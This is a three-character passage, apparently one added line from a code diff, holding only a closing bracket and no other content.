+ ]